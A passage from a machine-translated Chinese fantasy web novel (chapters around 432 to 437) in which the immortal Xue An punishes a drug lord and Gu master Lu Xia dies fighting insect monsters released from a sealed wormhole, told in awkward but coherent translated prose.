    An invisible force lifted him up, and then made him stop in the air in a large font.


    "You...what are you going to do?" Gonzalez let out a scream like a pig.


    Xue An said indifferently: "Let you bear the pain you have done to others!"


    "No! You devil, why do you judge me?" Seeing Xue An who was walking slowly, Gonzalez cried out in horror.


    "I didn''t judge you!" Xue An smiled, revealing two beautiful tiger teeth, "You judge yourself!"


    With that, Xue An''s spiritual thought entered directly into Gonzalez''s soul.


    As Xue An said.


    He didn''t kill this Gonzalez, but used his mind to spread all the heinous sins that Gonzalez had committed on his own body one by one.


    But this made Gonzalez more uncomfortable than killing him.


    However, after a few breaths, Gonzalez''s bones were all broken, and he couldn''t help howling in despair, "Kill me, please kill me!"


    Xue An said to the girl with a dazed and scared look: "Go home!"


    After all, turn around and leave.


    The girl suddenly trembled: "Are you... are you a hero?"


    Xue An stopped, did not look back, and said lightly: "No, I am Xianzun!"


    After all, Xue An turned into a streamer and disappeared into the sky.


    Gonzalez was already drenched at the moment, and his face was full of despair and fear.


    When he saw this girl, he couldn''t help begging loudly, "Please kill me! Give me a good time!"


    The girl was stunned for a moment, and a look of hatred appeared on her face, "No, the Immortal Venerable just said, I want you to bear the pain that you did to others in the past!"


    The word "Xianzun" that Xue An said just now is in Chinese, which is very weird to the Xige people.


    But this girl has kept it firmly in his mind, and when it is retelled now, it is not bad at all!


    After saying this, no matter how Gonzalez insulted and begged, the girl turned and left firmly as if she had not heard it.


    After returning home, the girl changed her beliefs and became a devout believer of the Immortal.


    Although she may not even know what the immortal respect represents.


    But for her, when she was in a catastrophe, the Mantian God and Buddha did not come to rescue her, only the Immortal Venerable came!


    As for Gonzalez.


    He is suffering all the means he used to torture people.


    How happy he was torturing people back then, how painful he is now.


    And it''s the kind of pain that you can''t survive and die.


    You know, Xue An gave him a breath of energy when he left, which can guarantee that he will not die so easily.


    It was already a day later when someone finally discovered the tragedy of Gonzalez Villa and came in for rescue.


    At this time, Gonzalez still did not die.


    It''s just that now he is no better than a pool of rotten meat.


    Except for a breath, all his reactions have disappeared.


    "God, isn''t this Gonzalez?" someone exclaimed.


    Then someone was going to take him away.


    At this moment, Gonzalez suddenly took out the gun from the waist of this man without hesitation, and then ended his life with one shot.


    Before he died, his face showed infinite joy and yearning.


    If you die, you don��t have to suffer!


    But these are things that will happen later.


    When Xue An returned to Herrera''s family, Nikita and David had not left yet.


    They are all waiting for news in panic.


    When Xue An appeared on the court.


    Nikita trembled all over, "Xue...Mr. Xue, you..."


    "The matter has been resolved, and I want to pass a message to your boss through you!" Xue An said lightly Please speak! Nikita said solemnly.


    Since knowing Xue An''s identity, Nikita dare not even resist and disrespect.


    This man, but the real worldly respect, invincible existence!


    "I''m very dissatisfied with Gonzalez. It doesn''t matter how you capitalists toss, but if you come to this kind of secret collusion drama again, I think I will really like a wonderful swordsmanship show at the Times Building in New York!"


    Hearing these words, the cold sweat on Nikita''s face tickled down, shaking all over.


    "Yes! I will pass it through!"


    Xue An nodded, "Well, we should go now!"


    "Then these corpses..." Nikita said.


    Xue An waved his hand, several flames fell, and the corpses were burned to ashes in the blink of an eye.

 Chapter 432： 1 man coerced, suppressed 1 country

    Xue An found An Yan and prepared to take them away.


    But before leaving, Xue An left Herrera''s family with a fortune that was not too rich, but was definitely enough for their family to live.


    The three siblings, Herrera and Saloina, were reluctant to leave.


    Especially Salo, she stepped forward with tears in her eyes, and gave Xue a little hug, thinking, "Think about it, thank you for giving me shoes!"


    After speaking, they turned and ran away.


    After waiting for them to walk far, I was surprised to find out that there was a crude shape in my pocket, which should be a very cheap small accessory.


    Although it is very cheap, this small accessory should be played with by some people, because even the small decorative beads have faded.


    Although Xue Xiang was young, he understood that this was a gift from Salo.


    A sorrow of parting suddenly appeared in her young heart.


    It turns out that this is the feeling of making friends!


    So this seemingly inconspicuous trinket has become a precious gift when I think about it.


    Xue An saw everything in his eyes, then smiled at An Yan, and said softly: "Did you see it? In fact, this is how children grow up slowly!"


    And here Nikita and David watched for a while, then turned around and drove away.


    After returning the devastated David back to the hotel.


    Nikita dialed the boss''s phone.


    Longfellow was not asleep, he had been waiting for Nikita''s call, so when the phone rang, he was connected as soon as possible.


    "how about it?"


    "He''s gone! Do I need to see Gonzalez?"


    Longfellow was silent for a while, and Gonzalez''s end is predictable!


    "Okay, don''t worry about that idiot, let the person who handed it to Brother Xi to bother! What else did he say?"


    Nikita took a deep breath, with fear in her voice, "He said, if he still colludes with these big drug lords secretly, he doesn''t mind going to the Times Building for a swordsmanship show!"


    "What!" Longfellow uttered a deafening scream like a little girl who had been molested.


    "He really said that?"


    "Yes!"


    "Okay! First, wait for my call, I''ll report it right away!"


    Longfellow hung up and reported the situation immediately.


    Soon, a high-level video conference involving the president and intelligence chiefs began.


    Nikita was also involved. She had never been in contact with such a high-level boss before, so her words were a bit incoherent.


    But no one cares about this. These elders all listened quietly when they heard Xue An''s words.


    Several senior military generals were so angry that they shot the table, "Is this threatening our United States of America?"


    But Longfellow knew that the reason these generals were so angry was entirely because of their inability.


    Is it possible to use an aircraft carrier to deal with a person who has come and gone without a trace?


    That''s a joke.


    So they can only pat the table.


    But some discordant voices still appeared.


    For example, the newly promoted country, a female reporter who is very ambitious, smiled indifferently: "I wonder what you are afraid of. What can he do even if he performs swordsmanship?"


    Hearing these words, Longfellow looked at the triumphant State U Qing with a foolish look, before he could speak.


    A senior officer who was higher than this stupid woman scolded angrily: "You savage fool, do you know what he meant by swordsmanship?"


    "What''s the point? It''s nothing more than ancient witchcraft from the East!" The woman was still unconvinced.


    "Haha, ancient witchcraft? Some time ago, the European Illuminati State was destroyed, and the sword rain in the Sin City some time ago, these became witchcraft in your mouth? That is the terrifying force that can kill a city! "


    Upon hearing these words, the woman opened her mouth wide, her face in disbelief.


    The President suddenly said at this time: "Well, now the main thing is to study how to deal with this matter! I propose that in the future, try not to interfere with the affairs of the country of West Colombia!"


    "Seconded!"


    "Seconded!"


    Nikita watched these people express their opinions one after another, and suddenly a ridiculous thought arose in his heart.


    These lofty big men...At this moment, they all lowered their noble heads under the pressure of one person.


    For West Colombia, Gonzalez''s death was a shocking event.


    And his demise is still without warning.


    Although he has long been accustomed to the endless fighting of these gangs, what Gonzalez has done over the years is really outrageous.


    Therefore, his death is a blessing for many people.


    However, many people still hold a pessimistic view.


    Because in their view, these are just tricks of the city''s changing king''s banner.


    If one Gonzalez is dead, there will be a second Gonzalez.


    It may even be more brutal and dark.


    This is a very correct view.


    But this time it failed.


    Because the people who succeeded Gonzalez''s site became uncharacteristically gentle, and even made many changes.


    Although still a cruel drug lord, at least in many ways has become less violent.


    This change makes many people feel incredible.


    Could it be that these bloodthirsty drug lords suddenly changed their tempers?


    But only these drug lords understand what is going on.


    Because Gonzalez''s destruction was too cruel, all news was blocked and outsiders didn''t even know.


    Only these people understand what happened.


    Especially those who heard about Gonzalez''s autopsy report, felt chills in their hearts.


    All bones were broken, and all the tendons were taken away, and the eyes were plucked...


    These methods made these demons feel a little silent.


    And they found that these methods were very familiar, and seemed to be... Gonzalez''s favorite use at the beginning.


    This discovery made the people who won Gonzalez''s industry become civilized.


    Because no one knows what I did to others will return to myself in the future.


    China Ancient Dian Country.


    Miao Xiangu.


    This is a blessed land that can be said to be isolated from the world.


    Those who live in it are all Gu people and people of the Miao Immortal School.


    now.


    The leader of the Miao Immortal faction, that Insect Gu Immortal Lu Xia is practicing in the Worm Immortal Cave.


    Since the Battle of Xiangjiang, Lu Xia got into the hole as soon as he returned to Miaoxiangu and never came out again.


    "Master! Let''s have something to eat!" A Fei said softly with the food.


    Insect Gu''s line is different from other cultivation factions, no matter what level of cultivation level it needs to eat.


    Even if you don''t eat it, the worms that can be attached to you need firework food!

 Chapter 433： 9 Turn Gu King

    Lu Xia nodded, sat at the stone table, and asked while eating, "How is your Gu King Egg''s cultivation?"


    A Fei respectfully said, "Going back to Master, I just broke through to Rank 3!"


    Lu Xia''s eyes lit up slightly, "Oh? The progress is pretty good, let me take a look at the show!"


    "Yes!"


    A Fei didn''t dare to disobey his teacher''s order, closed his eyes slightly, and a strong breath appeared on his body, and at the same time, there was a faint blue light flowing between his chest and abdomen.


    Then he opened his mouth and a cyan light flashed, and after it stopped, it turned out to be a green snake.


    The little snake entangled A Fei''s neck, poked his head, and spit out the letter.


    Although this little snake is very small, its mighty aura already shows its goodness.


    Then the little snake nodded slightly at Lu Xia, as if giving a salute.


    Lu Xia showed a somewhat satisfied smile, "Yes, A Fei, your qualifications in Gu Dao are actually better than I thought!"


    "The so-called rank nine of Gu Dao, rank three out of the ordinary, rank six as true, rank nine as king! Now your green snake gu has taken shape, it can be regarded as entering the room!"


    Hearing Lu Xia''s praise, A Fei was very excited.


    After returning to Miao Xiangu, A Fei broke off all previous bad habits and led a life of self-discipline to almost abnormal every day, and a Gu heart that had been contaminated by the world finally recovered.


    The reason for being so crazy was entirely because ALFY didn''t want to let down Lu Xia''s expectations of her.


    Now the effort has finally paid off.


    ALFY was naturally very happy.


    "Master, your injury..." A Fei and everyone in Miao Xiangu are most concerned about Lu Xia''s injury.


    After all, as the Insect Gu Immortal, the current Gu Master, Lu Xia is the backbone of the entire Miao Immortal Valley!


    Lu Xia smiled and stretched out her hand, amidst the twinkling of light, a three-legged golden toad appeared in her palm.


    "My natal Gu worm was severely injured and almost died, but I did not expect that in this worm immortal holy land, by chance, unexpectedly broke into Rank 9 Gu Venerable and became Golden Toad Gu!"


    A Fei was overjoyed, "Congratulations, Master!"


    Three-legged Golden Toad Gu!


    That''s the Gu worm that will only appear in the legend!


    Lu Xia shook her head, her expression turned a little sad, "Unfortunately, the more you practice, the more you understand the strength of that person!"


    ALFY also bowed his head and said nothing.


    Now he is no longer the **** leader of Xiangjiang, but a qualified Gu Master, and he will naturally come into contact with a lot of news about the cultivation world.


    And he is fine and often goes to the martial arts forum.


    So he also had a more comprehensive understanding of Xue An.


    As Master said, the more you understand, the more you understand how powerful and terrifying this person is.


    "Actually, I have to thank him!" Lu Xia said, "If it weren''t for him to severely wound me in Xiangjiang, if I really got the blood bead, it is estimated that even if I break through to Rank Nine, it would not be as pure and powerful as it is now! "


    There are very few shortcuts to practice.


    You pass a difficult time by opportunism, which means that the road below will be more difficult.


    That''s why Lu Xia sighed.


    "Master, will he come to retaliate?" A Fei said his worries.


    Lu Xia laughed bitterly, "You still don''t understand what the mentality of these strong men standing on top of millions of people is! For them, we so-called strong men are actually no different from ants, nothing more than we are ants. The one with more strength among them!"


    "That''s it..." A Fei''s expression was a little complicated, and he didn''t know what he was thinking.


    Lu Xia stood up and walked to him, patted him on the shoulder with relief, "A Fei, there will be no one in hundreds of millions of people like Xue An, you don''t have to behave in vain, take your own The path of cultivation is the most important!"


    "Yes!"


    The master and the disciple talked a few more words, and A Fei was about to leave with the dishes.


    suddenly.


    The sky and the earth shook for a while in the Worm Fairy Cave, and A Fei sat on the ground unsteadily, a look of horror on his face.


    "Master! What''s the matter?"


    Lu Xia''s complexion also changed drastically.


    A Fei''s cultivation is still shallow, so naturally he can''t notice anything unusual.


    But Lu Xia could feel that in the depths of this worm fairy cave, there seemed to be a lot of powerful aura suddenly added.


    When I was in doubt, I saw a golden torrent rushing from the depths of the Worm Fairy Cave.


    After getting closer, A Fei was shocked to discover where the golden torrent was, clearly a group of red golden ants.


    "It''s Chijin Ant!" A Fei exclaimed.


    Lu Xia''s face sank like water at this time, and when she stretched out her hand, a huge phantom of a three-legged golden toad appeared behind him, and then slashed out with a palm.


    boom!


    Large swaths of ants died in this golden torrent, and an empty space appeared, but it was soon filled by other ants.


    At this time, A Fei also displayed his Green Snake Gu, and cooperated with Master to eliminate this group of red gold ants.


    Although these red gold ants are numerous, they are not too powerful. After a few encounters, they were wiped out by Lu Xia and A Fei, the master and apprentice.


    A Fei breathed a sigh of relief and couldn''t help asking, "Master, how come so many red golden ants suddenly appeared?"


    Lu Xia shook her head, her eyes flickering, "I don''t know..."


    Lu Xia was also full of surprise.


    He always felt that the aura here was stronger than before in these days when he was in Worm Fairy Cave.


    This is also the reason why he can successfully break through Rank Nine Gu Venerable.


    You must know that he was forced to go far away from Xiangjiang before trying to break through with blood beads.


    This time, with the blessing of the Holy Land of Miao Immortal Valley, Shengsheng made a breakthrough.


    In this regard, Lu Xia did have doubts, but did not think about it.


    Now that so many red golden ants suddenly appeared, Lu Xia''s doubts couldn''t help but get heavier.


    Could it be...


    Lu Xia thought of a story told by her elders as a legend when she was a child.


    But that is just a legend! How could it be true?


    At the same time, saw a shaking that was ten times more violent than before.


    Even Lu Xia can barely stand firm by supporting the wall of the cave.


    And with this violent shaking, I heard a low roar from the Worm Fairy Cave.


    Then I saw countless black spiders attacking quickly. Behind the group of spiders, there was a black giant spider the size of a car, and on the back of this giant spider, there was a very beautiful female face.


    Lu Xia was finally shocked, "Beauty Spider!"


    It seemed that after hearing his shout, the black giant spider was entangled by a cloud of black energy, and then instantly turned into a woman with black armor and enchanting posture, with a spider tattoo on her charming cheek.


    The woman stretched out comfortably, revealing her devilish figure, and then she smiled and said: "It''s been a long time since I''ve been in this world. I really miss it! Hey, little guy, are you the Gu master of this session? Tsk tusk, it''s so weak and pitiful! Come on, let my sister love it!"

 Chapter 434： Beauty spider, red flame scorpion!

    Lu Xia''s expression became extremely solemn.


    He had only seen the Gu worm that could transform into a human form in the Gu book handed down from his ancestors.


    Moreover, it was clearly written on the Gu book that all this morphing Gu worms were extremely powerful.


    But isn''t this kind of thing already extinct?


    Why did you suddenly appear in the Worm Fairy Hole today?


    Could it be said...that legend is true?


    As if perceiving Lu Xia''s horror and confusion, the female spider giggled.


    "It looks like you don''t know anything about this little guy! Ha ha, you are cut off when you reach your level of Gu technique! Come on, sister let you become a god!"


    When she said this, the female spider was glamorous and full of femininity.


    A Fei''s eyes were obsessed, and he couldn''t help walking forward.


    Lu Xia suddenly dragged him behind her, then took a deep breath, and said coldly: "I don''t care where you came from, but this is Miao Immortal Valley, not a place where you Gu worms can make trouble!"


    The female spider smiled and trembled, "Miao Immortal Valley? Really funny! Back then, your ancestors sealed the entrance to the worm world, and it has been more than two thousand years! If your ancestors, those powerful Gu masters are here, I have nothing to say. Say you turn your head and leave, but you..."


    The female spider showed ridicule, suddenly opened her mouth, and a white rainbow came straight to Lu Xia.


    Lu Xia''s face sank like water, and she gave a sharp shout, blocking her hands.


    boom!


    This Bai Hong was blocked by Lu Xia.


    But at this time, Lu Xia discovered that this white rainbow turned out to be a silk thread emitting an evil white light.


    Spider silk!


    Lu Xia''s heart shuddered and she was about to break free.


    The mother spider sneered: "Just don''t laugh at this ability! Come on!"


    As he said, the spider silk immediately wrapped Lu Xia''s hands, and then suddenly pulled back.


    This strength was so strong that it even directly lifted Lu Xia into the sky.


    A Fei screamed in surprise, "Master!"


    Then he grabbed Lu Xia and dragged back desperately.


    But his power is minimal in front of this spider.


    Even took him over.


    The female spider sneered slightly, and showed two chelating teeth emitting a cold light, preparing to make Lu Xia and the others into dolls.


    But at this moment, Lu Xia shouted in mid-air, and a huge three-legged golden toad suddenly appeared behind him.


    As soon as the virtual image appeared, the spider silk broke.


    At the same time, the female spider also screamed, and then hurriedly withdrew a long way, with a trace of fear on her face.


    "Three-legged golden toad, hell, how come you have this kind of natal Gu?"


    Lu Xia stood still, and the virtual image appeared behind her to make her debut.


    As far as Guanghua could reach, the black spiders screamed and turned into black smoke.


    Lu Xia said coldly: "Monster, I don''t care where you come from, now you can go back to me, then everything is easy to say, otherwise, I will kill you here!"


    At this time, the mother spider''s complexion gradually recovered, and she sneered slightly when she heard the words, "I admit that your natal worm is good, but it''s just a rank 9 bug, it''s just a little troublesome to me! And you really think... ��Will I be the only one in the Worm World?"


    Following the voice, in the depths of the dark cave, there were rustling sounds, and then a huge red scorpion that was more than three meters high came out slowly.


    After a burst of red smoke, this giant scorpion turned into a sturdy bald man with a cold and evil face.


    The brawny man sneered a few times, "mother spider, what? Can''t even such a junior be cleaned up? The Queen asks us to clean up everything and prepare for its coming!"


    "Poisonous scorpion, stop talking nonsense, this guy has a three-legged golden toad, just to restrain me, you go! As a reward, I can accompany you later!" said the female spider winkingly.


    The burly man''s complexion became unnatural, and he involuntarily stepped back.


    Because he knew the viciousness of this female spider, he naturally respected the insensitivity.


    And Lu Xia''s heart was shaking slightly at this moment.


    Another metamorphosis gu worm.


    Now Lu Xia can finally be sure that the legends handed down from his ancestors back then are true.


    But the legend of the ancestors only said that the depths of this wormhole seemed to be connected to an unknown interface.


    But no one ever mentioned that there was a seal inside.


    Thinking about it now, it should be too long, and the inheritance of Miao Xiangu almost completely interrupted halfway, and as a result, many things were lost.


    But no matter what, these terrifying monsters have already arrived, and Lu Xia just heard this giant scorpion talk about it, and there seems to be some queen behind!


    It must be more terrifying to think about it.


    Lu Xia''s heart gradually calmed down suddenly, and the trace of panic and fear just disappeared.


    Then softly said to A Fei behind him: "We will fight for a while, I will block them, you go quickly!"


    A Fei was taken aback, "Master, I want to be with you too!"


    Lu Xia took a deep breath, "Don''t say it, these monsters are afraid of my three-legged golden toad, I can stop it! You quickly inform the people of the tribe to prepare, if it doesn''t work... hurry up and evacuate Miao Xiangu! "


    A Fei''s face gradually turned pale, and he trembled: "Master..."


    "Have you heard?" Lu Xia''s voice was extremely solemn.


    A Fei lowered his head, tears burst into his eyes, "Yes!"


    He understands what the master said just now is no good!


    At this moment, the giant scorpion rushed over with a grinning smile.


    At the same time, dozens of red flame streamers came straight.


    Lu Xia snorted coldly, urging her own natal Gu worm to the maximum, even making the virtual image of the three-legged golden toad become like substance, and then opened her mouth.


    A sound wave rushed away.


    boom!


    These streamers were dissipated by this croaking sound.


    Lu Xia said anxiously at this moment: "Don''t leave soon!"


    A Fei gritted his teeth, turned and ran.


    The mother spider smiled and said: "Little brother, don''t you run, sister will give you sweets!"


    Said Baihong went straight to A Fei.


    But in the middle of the journey, Lu Xia roared and Jin Chan shot out golden light on his back, directly dispelling these white rainbows, and went straight to the female spider.


    The female spider screamed and was shattered by a golden light, and then the golden light gradually spread.


    The mother spider screamed and could no longer maintain her human form, and suddenly changed back to the form of the giant spider.


    Then the female spider broke the leg that was hit by the golden light very neatly, and then said angrily: "Boy, I want to **** you up a little bit!"


    But after such a delay, A Fei had already rushed to the entrance of the cave.


    At this time, countless black spiders and scarlet scorpions blocked the way.


    A Fei also played his life. With a roar, his natal green snake suddenly appeared, and then turned into a blue python with the thickness of a water tank, flicking its tail.


    Then these poisonous insects were blown away.

 Chapter 435： Live up to the ancestors

    This blow made A Fei''s complexion extremely pale, but at any rate it blasted the road.


    He staggered and ran out.


    Seeing that his apprentice had already rushed out, Lu Xia''s heart was let go.


    At this time, the two Gu worms had also joined the battle group.


    Lu Xia was full of energy and tried his best to stretch the three-legged virtual image to the maximum.


    He knew that it was impossible to defeat these two Transformation Gu worms by his own strength alone.


    The only thing I can rely on now is that these two Gu worms are jealous of their own destiny Golden Toad.


    But at this time.


    There was another buzzing noise in the darkness, and then a terrible sound came.


    "At any rate, it is also a Zerg who has been reincarnated and passed on for thousands of years. It is really shameful that he can''t handle a junior!


    Hearing this sentence, both giant scorpion and spider showed embarrassment.


    At the same time, a huge and extremely venomous bee rushed out at an extremely swift speed and headed straight for Lu Xia.


    Lu Xia was shocked and was about to evade, but the giant scorpion grinned and blocked the way.


    After such a delay, the poisonous bee rushed to the front, and then a black light passed by.


    Lu Xia''s body was shocked, and the three-legged golden toad phantom behind him shook for a while, almost collapsed.


    Then Lu Xia''s face showed an extremely ominous black.


    These Gu worms are all in their hearts at this moment.


    The female spider smiled triumphantly, "Little guy, after being poisoned by Master Venomous Bee, even the Golden Immortal will tremble, you are done!"


    really.


    The black color began to spread to Lu Xia''s body at an extremely fast speed.


    Suddenly, Lu Xia was enveloped in this ominous black, and the three-legged Golden Toad behind him was struggling in pain.


    At this moment, Lu Xia can feel the acute pain from the cellular level.


    This kind of pain even made Lu Xia feel that she was about to collapse.


    But Lu Xia smiled.


    In his smile, a touch of determination flashed in his eyes.


    Seeing this look on Lu Xia''s face, the mother spider couldn''t help being shocked, because it remembered some pictures that made her unforgettable.


    Back then, it was just a humble little spider, who once came to this world with the Zerg army.


    Everything went smoothly at the beginning, no one could resist the charge of the Zerg army.


    But soon, they met a group of strong opponents.


    These people can also manipulate a strange kind of bug, and they all possess powerful powers, and even the most powerful ones can fight against the Queen without defeat.


    Later, the mother spider learned that these people are called Gu Masters.


    That powerful person is called Gu Master!


    The invincible offensive of the Zerg was contained.


    Although these Gu Masters were not many in number, they were like pieces of indestructible reef, resisting the waves of Zerg''s assaults.


    After three days of fierce fighting, the ground was covered with a thick layer of corpses.


    These Gu Masters also suffered heavy casualties, and in the end only a few people were left.


    The Queen was furious, and directly led the team personally, launching the last wave of death charge.


    The female spider was also a member of the overwhelming zerg army.


    But it saw strange expressions on the faces of those Gu masters who were heavily besieged.


    No fear, no despair.


    Yes, it is this kind of determination that seems to be relieved!


    At that time, it had a somewhat ominous premonition and hid behind the team secretly.


    really.


    When the insects first touched.


    The remaining Gu Masters all blew themselves up, and the power was so powerful that they swept almost all the Zerg races.


    The Queen was also injured.


    But the Queen is almost immortal, this injury is nothing at all.


    Just when the mother spider thought that victory belonged to the Zerg.


    The only remaining Gu Master burned himself, and then directly blasted the Queen and all the Zerg back to the Worm Realm, and at the same time used his own soul as a sacrifice, directly sealing the gap in this space.


    Those scenes, thinking about it now, make the mother spider tremble all over.


    Today, it once again saw the familiar look on Lu Xia''s face.


    At the same time, the three-legged Golden Toad behind Lu Xia let out a mournful cry, then suddenly shattered and turned into gold dust, directly covering Lu Xia completely.


    As a result, Lu Xia''s overall aura became extremely powerful.


    The mother spider yelled in horror, "Run! He is going to die together!"


    The nearest venomous bee was slightly startled, but did not respond.


    Lu Xia punched out.


    The fist was burning with golden flames.


    This is Lu Xia burning her own natal Gu worm.


    The poison bee screamed, and this punch directly penetrated its body, and the flame instantly enveloped its whole body.


    The poisonous bee uttered a deafening scream, but in the blink of an eye, it was burned to ashes.


    The giant scorpion turned in horror and wanted to run.


    But Lu Xia dashed up, grabbed the tail behind the giant scorpion, and smashed its virgin needle.


    The poisonous scorpion let out a scream and wanted to struggle, but Jin Yan also swallowed it.


    The giant scorpion died.


    Two simple blows wiped out the two Zerg powerhouses.


    The mother spider looked cold and wanted to run, but the road was blocked by Lu Xia.


    When she was shivering, Lu Xia suddenly snorted, her whole body''s momentum began to drop suddenly, and the flaming golden flames also became thinner.


    The mother spider froze for a moment, and then laughed in surprise.


    "I really don''t understand how you humans do such stupid things! Isn''t the result all the same? Hahahaha!"


    With that, the mother spider rushed up.


    But just as it rushed to the front, Lu Xia suddenly raised her head, and a bright light appeared in her already dim eyes.


    The mother spider was shocked and wanted to run, but it was too late.


    Lu Xia hugged the mother spider, and the thin golden flames finally lit up before swallowing the mother spider.


    The mother spider screamed, struggling with horror, trying to break Lu Xia away.


    But Lu Xia, who seemed extremely weak , had hands like two steel tongs, grasping it firmly and never letting go.


    The female spider was heartbroken by the golden flames, and her anger was extremely violent, and her metal-cold chelating limbs were directly inserted into Lu Xia''s back.


    puff!


    Blood splattered.


    Lu Xia trembled slightly, but her face was still full of determination.


    The mother spider was so frightened by this scene that she almost roared: "Why, why don''t you **** human beings know how to be afraid, aren''t you the most afraid of death?"


    The corners of Lu Xia''s mouth raised slightly, revealing a sarcasm.


    The female spider was completely irritated by Lu Xia''s expression, her claws were madly inserted into Lu Xia''s body, the bones were clearly visible in the huge wound.


    But even so, Lu Xia still did not let go.


    After a while, the mother spider let out a desperate cry, and was completely burned to nothing by the golden flame.

 Chapter 436： Zerg is coming

    The spider''s remains fell to the ground.


    Lu Xia also threw herself into the dust.


    At this moment, he should have died a long time ago, but because he still has the last trace of blood from the natal Gu worm, he has not died.


    At this moment, I heard a mess of footsteps coming from the entrance of the cave.


    A Fei led the elders of Miao Xiangu rushed in.


    When seeing this tragic scene at the scene, A Fei was shaking all over.


    He who has never believed in gods, he is also praying in a low voice at this moment, asking the gods and Buddhas for blessings, and bless my master is safe!


    But when he saw Lu Xia who was lying on the ground, her whole body was covered with hideous wounds.


    Finally, A Fei couldn''t help his legs softening, and knelt on the ground, feeling black in front of him.


    "Master!" A Fei trembling with his hands, gently picked up Lu Xia''s head, and big tears fell on Lu Xia''s forehead.


    Lu Xia summoned her last bit of strength and slowly opened her eyes.


    A Fei shouted in surprise, "Master, Master, hold on, I will take you to heal your injuries now!"


    Lu Xia blinked insignificantly. This was the last move he could make, and then her lips moved slightly, as if to say something.


    A Fei quickly pressed her ear to it.


    I heard Lu Xia say in a very weak voice: "The seal is broken, notify the military!"


    A Fei felt cold all over when he heard it, and tears fell crazily, "Yes!"


    At this time, Lu Xia''s complexion actually changed to look good, and then she turned her face sideways, and said to a sad elder: "After I die, A Fei will be the Gu master!"


    Many elders and clansmen couldn''t help sobbing when they heard this, and then said sadly: "Yes!"


    A smile appeared at the corner of Lu Xia''s mouth, the light in her eyes dimmed at a speed visible to the naked eye, and then whispered softly: "Senior, I didn''t shame Gu Master!"


    After all, the light in Lu Xia''s eyes dissipated, and the vitality was completely cut off!


    A Fei felt that the world suddenly became quiet.


    He held the gradually stiff Master, but kept recalling the original scenes in his mind.


    In Xiangjiang, the iron hatred for himself was not made into steel. Later, the gift of the Gu King''s egg, and the teachings of Dundun after returning to Miaoxiangu.


    These bits and pieces made A Fei burst into tears suddenly.


    Because he knew that the best master in the world for him had left!


    The elders burst into tears, and after a while, one elder stepped forward and said, "Master A Fei, now is not the time to cry, what did Master Gu said to you? And what is going on with these Gu worms?"


    All the elders at this moment had already noticed the Zerg corpse on the ground, and they were all discolored by it.


    A Fei gradually stopped his grief, and said in a vague tone: "Master said, the seal is broken, and these gu worms all ran out from there!"


    seal?


    Many people looked at each other and didn''t understand what it meant. Only the oldest elders all changed.


    "The legend is actually true!" An elder said with horror on his face.


    "What should I do now?" the other elder asked.


    "Why don''t we evacuate here! If that legend is true, it will be a catastrophe between heaven and earth, we can''t resist it at all!" said an elder.


    Many people don''t understand what''s going on.


    Just listen to the oldest elder sighed, then glanced at the depths of the wormhole with a frightened look, "Miaoxiangu ancestors have passed down a legend, saying that there is a wormhole in the depths The seal, if the seal is loose, there will be a monster! It''s just that the whole legend is too old, and no one has seen it. Many people think it is not true at all!"


    "Unexpectedly, this day has really come! And the monsters that came early must have only come to explore the way, and there will be a steady stream of monsters appear later!"


    The words of this great elder made everyone pale.


    Some timid people said in a hurry, "I think what the three elders said was right, so we should evacuate here first. It would be better if there were no monsters in this world. If there are, we won''t lose too much!"


    "Yes!"


    These people all lost their courage.


    After all, even Master Gu is not an opponent of these monsters, let alone people like himself!


    At this time, A Fei stood up holding Master''s body, and an expression of incomparable hatred gradually appeared on his face.


    "If you want to go, go! I won''t go!" A Fei said lightly.


    An elder couldn''t help sighing: "A Fei, I know you are sad, but this is not acting on loyalty. Let''s leave for the past few days. How about acting by chance?"


    A Fei turned his head and glanced at the elder, and said lightly: "Master said, let us inform the military!"


    Notify the military?


    Everyone looked at each other.


    Finally, the elder nodded, "I think that''s the only thing to do! Come here, first plug this wormhole with a huge rock!"


    "Yes!"


    A Fei had already walked away holding Lu Xia''s body at this moment.


    Everyone glanced at his back and shook their heads secretly.


    Although this A Fei made rapid progress, his strength was far from the strongest in Miao Xiangu.


    I don''t know why Lord Gu passed the seat to him.


    quickly.


    This wormhole is firmly piled up by huge rocks.


    These boulders give people a strong sense of security, and it seems that legends cannot be true.


    But the great elder still sent a letter to the military through his own relationship.


    Hu Siling is in a good mood today.


    Because the blood unicorn special forces he carefully trained have just won the first place in a game.


    This made Hu Commander feel that his efforts were not in vain.


    "Haha, how do you think our blood unicorn is better than the fire phoenix?" Hu Commander asked the entourage with a smile.


    "Of course our blood unicorn is stronger! The fire phoenix just relied on becoming famous for a long time, it is just a vain reputation!" The entourage said quickly.


    "Shit!" Hu Commander''s expression sank, and he yelled angrilyThe entourage quickly lowered his head.


    Commander Hu said: "Although I also think our blood unicorn is the strongest, the fire phoenix is ??not for nothing! Don''t you even understand the principle of despising the enemy strategically and paying attention to the enemy tactically?"


    With the cold sweat on his face, those who were scolded couldn''t lift their heads.


    Hu Siling sighed at this time, and a flash of sadness flashed in his eyes, "General Lin, General Lin, it is a pity that you died early, otherwise I must defeat your Phoenix in front of you! Let you know what it is. It''s a real special first!"


    Since that time when the forces fighting Commander Hu were defeated by the Phoenix who Xue An had only trained for seven days, he had been stubborn.


    Now he finally felt that the hope of revenge had come, but General Lin was no longer alive!


    While sighing, a staff officer ran over and whispered in Hu Siling''s ear: "Commander, the call from the elder of Miao Xiangu said that there are suspicious monsters!"


    Hu Siling''s eyes lit up.

 Chapter 437： Men don’t smoke, they are in the world for nothing!

    Miao Xiangu belongs to the management scope of the troops under the jurisdiction of Commander Hu.


    Commander Hu has always maintained due respect to this ancient school with a long heritage.


    And also frequent each other.


    Unexpectedly, this time I actually received a request from Elder Miao Xiangu for help.


    Some monsters still haunt!


    interesting!


    Isn''t this Miao Xiangu the best at playing bugs?


    Hu Siling thought for a moment, then nodded, "Go call Zhang Chu!"


    "Yes!"


    Soon, Zhang Chu, the captain of the Blood Kylin Special Forces and the youngest colonel under Commander Hu, arrived.


    "Commander!" Zhang Chujing gave a standard military salute.


    Hu Siling nodded in satisfaction.


    Regarding his subordinate, Hu Commander couldn''t see enough.


    The standard standing posture, tall figure, firm face, and bold style are all appreciated by Commander Hu.


    So he stepped forward and patted Zhang Chu on the shoulder, "Okay, just after a match, don''t be strained! Relax!"


    "Yes!" Zhang Chu replied, only in words and actions, still full of military style.


    "How is it? Tired?"


    "Return to the commander, not tired!" Zhang Chu said with a sharp glance.


    Hu Commander smiled. He knew that his subordinate had this temper, so he didn''t say anything anymore.


